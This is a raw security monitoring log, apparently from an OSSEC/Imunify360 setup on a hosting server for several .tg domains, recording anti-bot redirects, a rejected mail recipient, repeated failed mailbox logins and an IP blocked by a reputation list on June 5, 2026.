47.77.223.127 - - [05/Jun/2026:21:24:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856098&pdata=http%253A%252F%252Flaunetogo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780694687 HTTP/1.1" 302 0 launetogo.tg "http://launetogo.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.77.223.127


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.92.57
country_id: 1512440
description:
2026-06-05 21:25:02 H=([0.0.0.0]) [213.230.92.57]:48738 F=<John@4452.com> rejected RCPT <kpip@emt.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.5
country_id: 6252001
description:
205.169.39.5 - - [05/Jun/2026:21:25:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7367062&pdata=https%253A%252F%252Frelanceinfo.tg%252F%253Fp%253D1689&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780694714 HTTP/2.0" 302 0 relanceinfo.tg "https://relanceinfo.tg/?p=1689" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.5


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.77.228.238
country_id: 6252001
description:
47.77.228.238 - - [05/Jun/2026:21:25:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13080774&pdata=https%253A%252F%252Flaunetogo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780694713 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.77.228.238


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:25:23 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:6016: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun  5 21:26:30 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-05 21:26:32 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:31157: 535 Incorrect authentication data (set_id=bem)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:26:23 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:6400: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.186.126
country_id: 6252001
description:
47.251.186.126 - - [05/Jun/2026:21:26:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13330289&pdata=http%253A%252F%252Farse.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780694810 HTTP/1.1" 302 0 arse.tg "http://arse.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.186.126


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 111.119.199.180
country_id: 1880251
description:
111.119.199.180 - - [05/Jun/2026:21:27:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13081494&pdata=https%253A%252F%252Fmacite.tg%252Fpage%252F450%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780694835 HTTP/2.0" 302 0 macite.tg "https://macite.tg/page/450/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:111.119.199.180


